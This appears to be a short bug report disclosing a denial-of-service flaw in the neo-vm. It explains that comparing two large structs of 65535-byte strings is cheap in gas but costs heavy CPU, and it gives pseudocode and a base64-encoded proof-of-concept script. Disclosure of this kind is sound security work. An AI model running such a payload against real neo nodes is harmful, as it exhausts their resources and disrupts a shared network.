neo-vm ddos using struct's equal

[dusmart]

neo-vm struct's equal is too cheap

[dusmart]

DDOS in neo-vm using struct's equal method

Struct equal combined with ByteString in neo-vm spends huge cpu resources which can exhaust time.

s1 = 'h' * 65535            // len(s1) == 65535, ByteString.MaxComparableSize = 65535
t1 = {s1, s1, ... , s1}     // len(t1) == 1000, ExecutionEngineLimits.MaxStackSize = 2048
s2 = 'h' * 65535
t2 = {s2, s2, ... , s2}

t1.equals(t2)               // this opcode is very cheap while spends lots of cpu resources

POC: DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJQwwAAEk0STZdFnUol+P///0k=

Ref: #20